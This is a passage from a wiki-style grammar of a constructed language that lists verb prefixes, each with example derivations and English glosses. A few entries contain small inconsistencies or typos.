::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

